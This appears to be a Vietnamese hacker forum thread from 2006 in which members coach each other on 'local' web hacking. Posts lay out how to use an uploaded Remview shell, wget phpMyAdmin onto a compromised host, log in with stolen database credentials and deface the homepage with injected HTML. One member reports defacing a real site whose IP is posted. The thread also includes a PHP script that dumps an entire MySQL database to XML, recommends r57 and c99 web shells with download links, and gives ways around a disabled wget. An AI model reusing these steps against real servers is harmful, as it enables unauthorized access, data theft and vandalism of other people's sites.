| [Question] Hack local |
27/06/2006 00:47:56 (+0700) | #1 | 1028 |
![[Avatar]](/hvaonline/images/avatar/c5ebd6d8c55bdd1d38bd8ade8d405d25.jpg "[Avatar]")
|
nln
Member
![[Minus]](/hvaonline/templates/viet/images/minus.gif "[Minus]") |
0 |
![[Plus]](/hvaonline/templates/viet/images/plus.gif "[Plus]")
|
|
Joined: 26/06/2006 13:35:55
Messages: 2
Offline
|
|
| Tui up con remview lên host rồi. Run nó, va đã xem được một số pass của SQL victim. Nhưng ko biết drop DB cũng như vào Cpanel. Anh em biết bước tiếp theo làm gì ko? Xem file config được, ko cho edit! |
|
|
 |
|
| [Question] Hack local |
27/06/2006 01:43:29 (+0700) | #2 | 1063 |
![[Avatar]](/hvaonline/images/avatar/dc2208f9bbd11486d5dbbb9218e03017.jpg "[Avatar]")
|
Luke
Elite Member
|
|
0 |
|
|
Joined: 05/09/2002 13:21:20
Messages: 83
Offline
|
|
Đối với người mới tập hack local thì có thể sử dụng phpMyAdmin để access vào Database
Thực hiện các lệnh CMD Shell sau
$ cd <thư mục chmod yếu 666 hoặc 777>
Download phpMyadmin về
$ wget http://superb-east.dl.sourceforge.net/sourceforge/phpmyadmin/phpMyAdmin-2.6.3-pl1.tar.gz
Giải nén
$ gzip -d < phpMyAdmin-2.6.3-pl1.tar.gz | tar -xfv -
Đổi tên thư mục
$mv phpMyAdmin-2.6.3-pl1 sql
Sau đó dùng chương trình Remview edit file sql/config.inc.php theo thông tin về database mà lấy được
Vào phpmyadmin http://victimhost/<path>/sql/
Dùng kỹ thuật Meta Tag + HTML Code để deface trang chủ.
Ví dụ như qua phpmyadmin edit Site name, Site Description hoặc 1 trường dữ liệu nào dó hiển thị lên trang chủ thành
<html><head><title>Hacked by xLuke</title><font size=5>Hacked by xLuke <br> Contact hainamluke@yahoo.com</font><body bgcolor=#00000></head></html>
Rồi sau đó xem lại mà xem ^_^
Nếu khá HTML thì dùng DIV, hoặc SWF để deface toàn bộ |
|
|
|
|
| [Question] Hack local |
27/06/2006 02:31:47 (+0700) | #3 | 1090 |
|
nln
Member
|
|
0 |
|
|
Joined: 26/06/2006 13:35:55
Messages: 2
Offline
|
|
| Ặc khó hiểu quá huynh. Http://66.246.103.230/~dianguc/rem.php |
|
|
|
|
| [Question] Hack local |
27/06/2006 04:40:05 (+0700) | #4 | 1141 |
![[Avatar]](/hvaonline/images/avatar/c22446051c4e0f9eb5585ad590a7f53f.png "[Avatar]")
|
dinhcaohack
Member
|
|
0 |
|
|
Joined: 22/04/2004 16:46:51
Messages: 41
Offline
|
|
<html><head><title>Hacked by xLuke</title><font size=5>Hacked by xLuke <br> Contact hainamluke@yahoo.com</font><body bgcolor=#00000></head></html>
==> virus GaiXinh huh ? Nghe wen wen  |
|
|
|
|
| [Question] Hack local |
27/06/2006 04:47:53 (+0700) | #5 | 1145 |
|
Luke
Elite Member
|
|
0 |
|
|
Joined: 05/09/2002 13:21:20
Messages: 83
Offline
|
|
|
|
| [Question] Hack local |
27/06/2006 05:09:55 (+0700) | #6 | 1150 |
|
Luke
Elite Member
|
|
0 |
|
|
Joined: 05/09/2002 13:21:20
Messages: 83
Offline
|
|
Post URL của shell lên các diễn đàn là một việc quá nguy hiểm.
May mà mình nhanh tay deface trước và xóa con rem đó rồi!
Edit lại trang chủ nhé! |
|
|
|
|
| [Question] Hack local |
27/06/2006 05:30:51 (+0700) | #7 | 1158 |
|
dinhcaohack
Member
|
|
0 |
|
|
Joined: 22/04/2004 16:46:51
Messages: 41
Offline
|
|
May mà mình nhanh tay deface
Nghe cái này hơi chán đấy
Đã có ý del shell đi thì deface làm j` 
Hay là lão định .. giữ shell làm của riêng
Ặc khó hiểu quá huynh. Http://66.246.103.230/~dianguc/rem.php
Lần sau định hỏi huynh nào thì PM cho huynh ấy, không mấy đệ vào nghịch .. ngượng quá |
|
|
|
|
| [Question] Re: Hack local |
27/06/2006 05:31:11 (+0700) | #8 | 1159 |
![[Avatar]](/hvaonline/images/avatar/6b9c98a0d9c1c97294bf0772ae4dd207.jpg "[Avatar]")
|
nhocbmt
Member
|
|
0 |
|
|
Joined: 26/06/2006 17:55:21
Messages: 75
Location: Ban Mê City
Offline
|
|
Code:
$ wget http://superb-east.dl.sourceforge.net/sourceforge/phpmyadmin/phpMyAdmin-2.6.3-pl1.tar.gz
Tải lên serv nặng quá dzậy lỡ bị timeout thì sao anh nhĩ ???
Sao ko tự viết 1 file php để select db nho nhỏ cần gì mà phải ôm luôn cái phpmyadmin kinh dzậy |
|
|
|
|
| [Question] Hack local |
27/06/2006 05:35:29 (+0700) | #9 | 1161 |
|
Luke
Elite Member
|
|
0 |
|
|
Joined: 05/09/2002 13:21:20
Messages: 83
Offline
|
|
Bác ngó xem em deface kiểu gì.
Hơi bị lịch sự.
@dianguc: Server bảo mật siêu kém. Cho thuê host thế này mất cả chì lẫn chài.
Thông báo với thằng server admin là đã mất root, còn vì sao thì:
PHP: system ("whoami");
--> dianguc
Config kiểu này, bó tay!! Mất nhà là đúng! |
|
|
|
|
| [Question] Re: Hack local |
27/06/2006 05:42:16 (+0700) | #10 | 1164 |
|
Luke
Elite Member
|
|
0 |
|
|
Joined: 05/09/2002 13:21:20
Messages: 83
Offline
|
|
Never timeout vì server của bọn SF quá xịn, file lại quá nhỏ!
Hơn nữa cài phpmyadmin chỉ mất chưa đầy 1 phút. Tool lại quá mạnh, chả tội gì đi ngồi code php.
Nói thế nhưng có lần mình hack RFI, nó chmod kỹ quá, ko setup duoc phpmyadmin, thế là phải viết MySQL -> XML
anh em có anh cần thì dùng nhé 
Remove một vài dòng lệnh đi là xem scheme ngon ơ, dù sao thì mình cũng rất khoái xem bằng XML ^_^
Code:
<?php
$dbhost = "localhost";
$dbuser = "ODBC";
$dbpass = "";
$dbname = "mysql";
header('Content-Type: text/x-delimtext; name="'.$dbname.'.xml"');
header('Content-disposition: attachment; filename="' . $dbname . '.xml"');
echo "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<tables>";
mysql_connect ($dbhost, $dbuser,$dbpass);
mysql_select_db($dbname);
$result = mysql_list_tables($dbname);
$num_rows = mysql_num_rows($result);
for ($i = 0; $i < $num_rows; $i++) {
$table = mysql_tablename($result, $i);
echo "\n<table name=\"$table\">";
$fresult = mysql_query("SHOW COLUMNS FROM $table");
if (mysql_num_rows($fresult) > 0) {
$j = 0;
while ($frow = mysql_fetch_assoc($fresult)) {
$field[$j] = $frow[Field];
$j++;
}
$rresult = mysql_query("SELECT * FROM $table");
if (mysql_num_rows($rresult) > 0) {
echo "<rows number=\"". mysql_num_rows($rresult) ."\">";
while ($row = mysql_fetch_row($rresult)) {
echo "<row>";
for ($k=0; $k<$j; $k++) echo "<$field[$k]>$row[$k]</$field[$k]>";
echo "</row>";
}
echo "</rows>";
}
}
echo "</table>";
}
echo "</tables>";
?>
|
|
|
|
|
| [Question] Hack local |
27/06/2006 05:43:07 (+0700) | #11 | 1165 |
|
dinhcaohack
Member
|
|
0 |
|
|
Joined: 22/04/2004 16:46:51
Messages: 41
Offline
|
|
Tải lên serv nặng quá dzậy lỡ bị timeout thì sao anh nhĩ ???
Nếu server bị time out thì hack làm chi ?? Lởm wa'
Bác ngó xem em deface kiểu gì.
Hơi bị lịch sự.
Có thấy lão deface đâu nhỉ , chỉ giỏi lừa tôi :">
PHP: system ("whoami");
Nó để thế chỉ sợ report cho chủ server nó lại chẳng hiểu j` |
|
|
|
|
| [Question] Hack local |
27/06/2006 05:46:54 (+0700) | #12 | 1168 |
|
Luke
Elite Member
|
|
0 |
|
|
Joined: 05/09/2002 13:21:20
Messages: 83
Offline
|
|
Có thấy lão deface đâu nhỉ , chỉ giỏi lừa tôi :">
http://66.246.103.230/~dianguc/
Welcome to TrangDem.Com
...:: Music ::... ...:: Forum ::...
Designed: Le Nhat Nam - Security checked: xLuke. . All infomation you can contact to: Y!ID: diangucviet
|
|
|
|
|
| [Question] Hack local |
27/06/2006 05:50:44 (+0700) | #13 | 1172 |
![[Avatar]](/hvaonline/images/avatar/8e0181ec6401ea2a2364747493964e96.png "[Avatar]")
|
ghostshadow189
Member
|
|
0 |
|
|
Joined: 23/08/2004 01:33:43
Messages: 59
Location: user 80183 of HVA
Offline
|
|
| theo em nếu đã up được shell lên roài thì tha cho người ta , edit cái index thoai chứ drop database làm gì , khổ thân người ta ra |
|
|
|
|
| [Question] Re: Hack local |
27/06/2006 05:56:55 (+0700) | #14 | 1175 |
|
nhocbmt
Member
|
|
0 |
|
|
Joined: 26/06/2006 17:55:21
Messages: 75
Location: Ban Mê City
Offline
|
|
Phỏng vấn anh Luke chút
Nếu nln ko đưa link rem có sẵn cho bro , thì bro có thể get được nó hông ??? 8)
hehe !
Ủa !mà nếu serv dis cmd wget thì sao mà up lên nhĩ
nếu echo từng mảng lên mà owner là body thì cũng ko run được thì sao luôn nhĩ ??? |
|
|
|
|
| [Question] Re: Hack local |
27/06/2006 06:01:50 (+0700) | #15 | 1177 |
ato
Member
|
|
0 |
|
|
Joined: 12/11/2004 01:59:02
Messages: 2
Offline
|
|
| Có thể dùng con này để connect vao DB,nhỏ gọn hơn là wget toàn bộ phpmysql sang http://rapidshare.de/files/24153994/mysql.php.html |
|
|
|
|
| [Question] Hack local |
27/06/2006 06:04:01 (+0700) | #16 | 1179 |
|
Luke
Elite Member
|
|
0 |
|
|
Joined: 05/09/2002 13:21:20
Messages: 83
Offline
|
|
Nếu ko có link thì việc hack sẽ trở nên khó khăn hơn ++++++ Rất nhiều.
Với sức của Luke thì khả năng hack bất cứ site nào cũng có thể là ... không thể ^_^
Nếu không thể dùng được wget thì dùng có thể dùng copy() của PHP, chẳng thằng nào disable cái này cả.
Nếu disable tiếp thì dùng fopen(), fwrite().. lâu hơn 1 chút..
Còn nó disable tiếp thì ... nó phá sản vì chẳng thằng nào mua host của nó. |
|
|
|
|
| [Question] Re: Hack local |
27/06/2006 06:11:07 (+0700) | #17 | 1187 |
|
Luke
Elite Member
|
|
0 |
|
|
Joined: 05/09/2002 13:21:20
Messages: 83
Offline
|
|
ato wrote:
Có thể dùng con này để connect vao DB,nhỏ gọn hơn là wget toàn bộ phpmysql sang http://rapidshare.de/files/24153994/mysql.php.html
Nói gì thì nói chứ dùng phpMyAdmin vẫn sướng nhất, mà install bằng shell command, có mất thời gian đâu.
Còn nếu dùng 1 file thì Luke khuyên dùng r57 và c99 shell
Ưu điểm của r57 là hack theo kiểu RFI rất sướng, ko cần upload ^_^
Tuy nhiên nếu tìm được weak chmod dir thì tương c99 mạnh hơn. Nhất là cái mysql function của nó. kết hợp cả 2 là tuyệt vời nhất
Để Luke up demo lên cho mọi người.
Đây cũng là một đoạn phim hacking demo rất đáng xem về kỹ thuật tấn công local, chỉ tiếc là nó dùng tiếng (*@&^@#&*^@
http://67.15.40.2/~tranphu/files/r57.rar
Mọi người xem thế nào nhé |
|
|
|
|
| [Question] Hack local |
27/06/2006 07:30:56 (+0700) | #18 | 1228 |
|
dinhcaohack
Member
|
|
0 |
|
|
Joined: 22/04/2004 16:46:51
Messages: 41
Offline
|
|
Lão Lúc lắc j` đó ơi
Tôi chẳng bảo giờ up con phpmyadmin lên làm j` cả, cái j` mà cứ nhanh, dùng tốt là OK hết (r57,c99) ..
Dùng phpmyadmin chỉ là tiện ở việc .. UPDATE data một các trực quan, không phải nhớ và type lệnh .
Nếu nó dis các hàm thì làm j` (safe mode) có rất nhiều cách .. FTP_connect, copy, PHP-by pass - safe mode etc. nói chung là nhiều kỹ thuật lắm ..
Với sức của Luke thì khả năng hack bất cứ site nào cũng có thể là ... không thể ^_^
Sao lại không thể chứ, cái server lởm òm, config kém , local root tự do |
|
|
|
|
| [Question] Hack local |
27/06/2006 08:08:50 (+0700) | #19 | 1241 |
ato
Member
|
|
0 |
|
|
Joined: 12/11/2004 01:59:02
Messages: 2
Offline
|
|
| c99 có giao diện ưa nhìn,nhưng r57 dễ exec hơn.Thực ra cũng tùy từng người nhưng vẫn phải kết hợp mới hay nhất.Con mysql ato giới thiệu ở trên với mục đích không phụ thuộc nhiều lắm vào việc biết query như r57 hay c99,vì có giao diện gần giống phpmysql.Còn 1 con cgitelnet tuy rất mạnh nhưng cũng khó để up,up được thì quả là tuyệt vời. |
|
|
|
|
| [Question] Hack local |
27/06/2006 08:44:15 (+0700) | #20 | 1253 |
|
Luke
Elite Member
|
|
0 |
|
|
Joined: 05/09/2002 13:21:20
Messages: 83
Offline
|
|
Hic
Sao cái tên mình lại là Lúc Lắc
Có lẽ cái topic này cung cấp quá đủ thông tin về việc hack local rồi.
Còn kỹ năng thì phải thực tập nhiều mới biết được.
Nhớ hồi đầu, hack local phải include ("/home/.../www/forum/config.php")
sau đó up forum mình lên, sửa config cho giống.
mãi về sau mới có phpmyadmin, rồi remview
khi bị safe mode thì dùng được cgitelnet rồi MySQL LOAD INTO FILE
Bây giờ công cụ có sẵn cả, sướng thật ^_^
Dù sao cũng 4 năm rồi
Mình già rồi... |
|
|
|
|
| [Question] Hack local |
27/06/2006 09:42:28 (+0700) | #21 | 1267 |
|
dinhcaohack
Member
|
|
0 |
|
|
Joined: 22/04/2004 16:46:51
Messages: 41
Offline
|
|
Lão đúng là Lúc Lắc còn gì nữa
Chắc là tại k0 chịu học PHP , để vào DB của người ta dùng mỗi cái hàm mysql_connect() là xong, lão lại còn phpmyadmin với remview làm j` cho khổ .. còn cái include "" cũng hay đó .. mỗi tội nghe sao nó tá điền thế lão
======
Còn 1 con cgitelnet tuy rất mạnh nhưng cũng khó để up,up được thì quả là tuyệt vời.
======
Mình là yêu con cgitelnet này nhất , đến khi biết Putty rồi cũng thấy hay k0 kém
Cách upload cgitelnet này cũng dễ thôi lão ạ, nhưng có vẻ dùng back-connect ( netcat + Putty) vẫn hay hơn 
Thâm nhập vẫn chỉ là thâm nhập, hack mới khó
"Hacking is Get r00t" |
|
|
|
|
| [Question] Hack local |
27/06/2006 10:39:41 (+0700) | #22 | 1280 |
kilua_vniss
Member
|
|
0 |
|
|
Joined: 26/06/2006 00:52:49
Messages: 16
Offline
|
|
dinh cao hack --->da~ get root
kilua-->dang tim`hieu r00t la` cai' j`
hoi luon dch r00t la` cai quai' j` vay
buc minh` ghe sao ko type duoc dau'
|
|
|
|
|
| [Question] Hack local |
27/06/2006 11:07:19 (+0700) | #23 | 1293 |
|
Luke
Elite Member
|
|
0 |
|
|
Joined: 05/09/2002 13:21:20
Messages: 83
Offline
|
|
Khì khì
hơn 4 năm trước tớ mới tập tọe PHP, có biết tí gì đâu
net thì phải dùng ngoài dịch vụ
dial-up chậm hơn rùa
Bây giờ thì có đủ lại lười.. ngại nghịch ngợm
Đời là thế |
|
|
|
|
| [Question] Re: Hack local |
27/06/2006 11:36:51 (+0700) | #24 | 1308 |
![[Avatar]](/hvaonline/images/avatar/0352e134ea8bbd308f7441c5d203ee9f.jpg "[Avatar]")
|
lonely_Xorhandsome
Elite Member
|
|
0 |
|
|
Joined: 26/06/2006 12:14:07
Messages: 558
Location: HCM beside you !
Offline
|
|
Luke wrote:
ato wrote:
Có thể dùng con này để connect vao DB,nhỏ gọn hơn là wget toàn bộ phpmysql sang http://rapidshare.de/files/24153994/mysql.php.html
Nói gì thì nói chứ dùng phpMyAdmin vẫn sướng nhất, mà install bằng shell command, có mất thời gian đâu.
Còn nếu dùng 1 file thì Luke khuyên dùng r57 và c99 shell
Ưu điểm của r57 là hack theo kiểu RFI rất sướng, ko cần upload ^_^
Tuy nhiên nếu tìm được weak chmod dir thì tương c99 mạnh hơn. Nhất là cái mysql function của nó. kết hợp cả 2 là tuyệt vời nhất
Để Luke up demo lên cho mọi người.
Đây cũng là một đoạn phim hacking demo rất đáng xem về kỹ thuật tấn công local, chỉ tiếc là nó dùng tiếng (*@&^@#&*^@
http://67.15.40.2/~tranphu/files/r57.rar
Mọi người xem thế nào nhé
anh Luke ơi cho em hỏi làm sao ma` khôg cần upload con r57 huặc c99 lên host mà vẫn có thể run nó đươc hén ?anh có thể nó rõ hơn được không ạ , cảm ơn anh nhiều . |
|
|
|
|
| [Question] Hack local |
27/06/2006 15:52:27 (+0700) | #25 | 1353 |
![[Avatar]](/hvaonline/images/avatar/7f11b15655b2342b01a2db7edb7961cd.jpeg "[Avatar]")
|
gamma95
Researcher
|
Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa">
Offline
|
|
lão luke thông cảm ,hồi lão local thì tụi nhỏ chưa bit bắn bi ... nên nhiều khi nghe chúng thảo luận cũng bực mình lém  ) |
|
Cánh chym không mỏi
lol |
|
|
|
| [Question] Hack local |
27/06/2006 21:37:47 (+0700) | #26 | 1391 |
killer_8xF
Member
|
|
0 |
|
|
Joined: 27/06/2006 10:24:18
Messages: 1
Offline
|
|
| noi that nha hack kieu nay neu ko dung bat cu cong cu nao thi kho co the lam duoc |
|
|
|
|
| [Question] Hack local |
27/06/2006 22:46:04 (+0700) | #27 | 1424 |
|
dinhcaohack
Member
|
|
0 |
|
|
Joined: 22/04/2004 16:46:51
Messages: 41
Offline
|
|
anh Luke ơi cho em hỏi làm sao ma` khôg cần upload con r57 huặc c99 lên host mà vẫn có thể run nó đươc hén ?anh có thể nó rõ hơn được không ạ , cảm ơn anh nhiều
Em k0 up 2 cái đấy thì em dùng remview hehe |
|
|
|
|
| [Question] Hack local |
28/06/2006 06:50:31 (+0700) | #28 | 1539 |
![[Avatar]](/hvaonline/images/avatar/c8ab9a7fcd8f021381de8f41294e2bcb.png "[Avatar]")
|
jan
Member
|
|
0 |
|
|
Joined: 27/06/2006 19:39:55
Messages: 3
Offline
|
|
hôm nào up mấy host cho anh em thực hành local A.
|
|
|
|
|
| [Question] Hack local |
28/06/2006 06:52:23 (+0700) | #29 | 1541 |
BigballVN
Elite Member
|
|
0 |
|
|
Joined: 12/06/2005 07:25:21
Messages: 610
Offline
|
|
| Hehe. good đấy. Nhanh nhanh nhé |
|
|
|
|
| [Question] Re: Hack local |
28/06/2006 06:53:51 (+0700) | #30 | 1542 |
|
nhocbmt
Member
|
|
0 |
|
|
Joined: 26/06/2006 17:55:21
Messages: 75
Location: Ban Mê City
Offline
|
|
Nếu ko có link thì việc hack sẽ trở nên khó khăn hơn ++++++ Rất nhiều.
Với sức của Luke thì khả năng hack bất cứ site nào cũng có thể là ... không thể ^_^
Nếu không thể dùng được wget thì dùng có thể dùng copy() của PHP, chẳng thằng nào disable cái này cả.
Nếu disable tiếp thì dùng fopen(), fwrite().. lâu hơn 1 chút..
Còn nó disable tiếp thì ... nó phá sản vì chẳng thằng nào mua host của nó.
Em đã nói nó ko echo từng mãng lên host ! vậy thì làm sao create được file php để dùng anh ???
Vd bug của phpBB chẳng hạn , nó cho phép mình remote cmd và mình đang có shell trong tay , nhưng shell này quyền hạn rất hạn chế và khó sữ dụng ! Việc của mình bây giờ là cố gắng up 1 con remv php lên host để tiện sữ dụng !
Nhưng oái ăm nó dis wget ? nếu ko có quyền nhất dịnh nó ko cũng cho dùng " echo [content] > file " ! Vậy thì còn cách nào để có 1 remv php lên host ko ???? |
|
|
| Users currently in here |
|
1 Anonymous
|
|
Powered by JForum - Extended by HVAOnline
hvaonline.net | hvaforum.net | hvazone.net | hvanews.net | vnhacker.org
1999 - 2013 ©
v2012|0504|218|
|
|
![[Rule]](/hvaonline/templates/viet/images/icon_mini_rule.gif "[Rule]"){kind=icon}
![[Home]](/hvaonline/templates/viet/images/icon_mini_groups.gif "[Home]"){kind=icon}
![[Portal]](/hvaonline/templates/viet/images/icon_mini_portal.gif "[Portal]"){kind=icon}
![[Members]](/hvaonline/templates/viet/images/icon_mini_members.gif "[Members]"){kind=icon}
![[Statistics]](/hvaonline/templates/viet/images/icon_mini_stats.gif "[Statistics]"){kind=icon}
![[Search]](/hvaonline/templates/viet/images/icon_mini_search.gif "[Search]"){kind=icon}
![[Reading Room]](/hvaonline/templates/viet/images/icon_mini_book.gif "[Reading Room]"){kind=icon}
![[Register]](/hvaonline/templates/viet/images/icon_mini_register.gif "[Register]"){kind=icon}
Register![[Login]](/hvaonline/templates/viet/images/icon_mini_login.gif "[Login]"){kind=icon}
Login [
Thảo luận thâm nhập
![[Profile]](/hvaonline/templates/viet/images/en_US/icon_profile.gif "[Profile]"){kind=icon}
![[PM]](/hvaonline/templates/viet/images/en_US/icon_pm.gif "[PM]"){kind=icon}
![[Yahoo!]](/hvaonline/templates/viet/images/icon_yim.gif "[YIM]"){kind=icon}
![[Locked]](/hvaonline/templates/viet/images/en_US/reply_locked.gif "[Locked]")
![[Up]](/hvaonline/templates/viet/images/en_US/icon_up.gif "[Up]"){kind=icon}
![[Print Copy]](/hvaonline/templates/viet/images/en_US/icon_print.gif "[Print Copy]"){kind=icon}
![[WWW]](/hvaonline/templates/viet/images/icon_www.gif "[www]"){kind=icon}
![[ICQ]](/hvaonline/templates/viet/images/icon_icq_add.gif "[ICQ]"){kind=icon}
![[Email]](/hvaonline/templates/viet/images/icon_email.gif "[E-mai]"){kind=icon}
![[digg]](/hvaonline/templates/viet/images/digg.gif "[digg]")
![[delicious]](/hvaonline/templates/viet/images/delicious.gif "[delicious]")
![[google]](/hvaonline/templates/viet/images/google.gif "[google]")
![[yahoo]](/hvaonline/templates/viet/images/yahoo.gif "[yahoo]")
![[technorati]](/hvaonline/templates/viet/images/technorati.gif "[technorati]")
![[reddit]](/hvaonline/templates/viet/images/reddit.gif "[reddit]")
![[stumbleupon]](/hvaonline/templates/viet/images/stumbleupon.gif "[stumbleupon]")